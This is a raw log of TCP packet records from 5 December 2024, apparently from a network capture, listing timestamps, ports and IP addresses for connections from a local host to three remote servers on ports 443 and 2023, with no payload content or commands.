Dec 5, 2024 10:46:02.203742027 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.231683016 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.231700897 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.231882095 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.231894970 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.231949091 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.307001114 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.307019949 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.307248116 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.307279110 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.307337046 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.318785906 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.318800926 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.319026947 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.319040060 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.319084883 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.331357956 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.331376076 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.331465960 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.331478119 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.331669092 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.343338966 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.343357086 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.343429089 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.343442917 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.343467951 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.343491077 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.353290081 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.353305101 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.353373051 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.353382111 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.353447914 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.363045931 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.363070965 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.363132954 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.363140106 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.363182068 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.368187904 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.368212938 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.368340015 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.368345976 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.368391037 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.374510050 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.374536037 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.374602079 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.374608040 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.374650955 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.498886108 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.498914957 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.499073029 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.499097109 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.499166965 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.505033970 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.505059004 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.505129099 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.505134106 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.505183935 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.510464907 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.510487080 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.510572910 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.510576963 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.510627031 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.516771078 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.516793966 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.516841888 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.516845942 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.516882896 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.516907930 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.522902012 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.522924900 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.523011923 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.523016930 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.523073912 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.529002905 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.529025078 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.529095888 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.529099941 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.529143095 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.529861927 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.530014992 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.530072927 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.530123949 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.534892082 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:24.728543043 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:24.728624105 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:24.728786945 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:24.782777071 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:24.782809019 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:26.654194117 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:26.654304028 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:26.804970980 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:26.805022001 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:26.805342913 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:26.805417061 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:26.810647011 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:26.851331949 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.476408958 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.476439953 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.476488113 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.476497889 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.476514101 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.476552010 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.695342064 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.695358038 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.695446968 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.714545965 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.714680910 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.748018980 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.748110056 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.773276091 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.773416996 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.928917885 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.929029942 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.941833973 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.941927910 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.964101076 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.964211941 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.980838060 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.980992079 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:27.997617960 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:27.997745991 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.019848108 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.019958019 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.036544085 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.036640882 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.053476095 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.053555012 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.163099051 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.163192987 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.171535969 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.171617985 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.186089039 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.186178923 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.193835974 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.193945885 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.199187040 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.199263096 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.204847097 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.204972029 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.212538958 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.212600946 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.218327999 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.218400955 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.223807096 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.223890066 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.229722023 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.229801893 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.237407923 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.237505913 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.400675058 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.400774956 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.405853033 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.405935049 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.410862923 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.410947084 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.415925980 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.416013002 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.422616005 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.422688007 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.427738905 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.427815914 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.433012962 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.433084965 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.439579964 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.439654112 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.444878101 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.444956064 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.450023890 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.450134993 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.522113085 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.522223949 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.634618998 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.634733915 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.639273882 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.639359951 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.645005941 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.645087957 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.648691893 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.648766041 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.652429104 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.652573109 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.656056881 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.656116962 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.660872936 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.660954952 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.664618969 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.664710999 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.668313026 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.668386936 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.673075914 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.673146009 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.691549063 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.691648006 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.866808891 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.866909981 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.870342970 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.870421886 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.876614094 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.876696110 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.881227016 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.881287098 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.885018110 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.885118961 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.887741089 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.887825966 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.892235994 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.892415047 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.895406008 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.895503044 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.899677992 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.899765015 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.902884007 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.902975082 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.903691053 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.903755903 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.903765917 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.903835058 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:28.903847933 CET	443	49737	202.71.109.228	192.168.2.4
Dec 5, 2024 10:46:28.903856039 CET	49737	443	192.168.2.4	202.71.109.228
Dec 5, 2024 10:46:32.979877949 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:33.100063086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:33.100152969 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:33.100384951 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:33.220170975 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:34.343281031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:34.344274998 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:34.464003086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:34.740947008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:34.749711990 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:34.869545937 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.199194908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.199450016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.199470043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.199481964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.199538946 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.199604988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.199616909 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.199630022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.199630976 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.199646950 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.199647903 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.199693918 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.206907988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.207072973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.207125902 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.214452982 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.215590000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.215646982 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.320442915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.320462942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.320519924 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.387178898 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.387219906 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.387278080 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.391072035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.392659903 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.392715931 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.392752886 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.402077913 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.402149916 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.402260065 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.409413099 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.409470081 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.409526110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.417220116 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.417306900 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.417351961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.425390005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.425471067 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.425476074 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.433609962 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.433679104 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.433790922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.441761017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.441864014 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.441932917 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.450033903 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.450107098 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.450146914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.458235979 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.458271980 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.458312035 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.465399981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.465464115 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.465565920 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.472728014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.472744942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.472814083 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.578829050 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.578866005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.579005003 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.581218958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.581322908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.581386089 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.586086988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.587855101 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.587898970 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.587945938 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.592762947 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.592808008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.592899084 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.597611904 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.597644091 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.597683907 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.602411985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.602480888 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.602484941 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.607160091 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.607212067 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.607251883 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.611443996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.611511946 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.611538887 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.615780115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.615897894 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.616199017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.620135069 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.620199919 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.620239019 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.624480963 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.624558926 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.624705076 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.628716946 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.628772020 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.628822088 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.632998943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.633069038 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.633094072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.637341022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.637382030 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.637456894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.641690016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.641705036 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.641750097 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.646085978 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.646135092 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.646167040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.650902033 CET	2023	49738	45.149.241.141	192.168.2.4
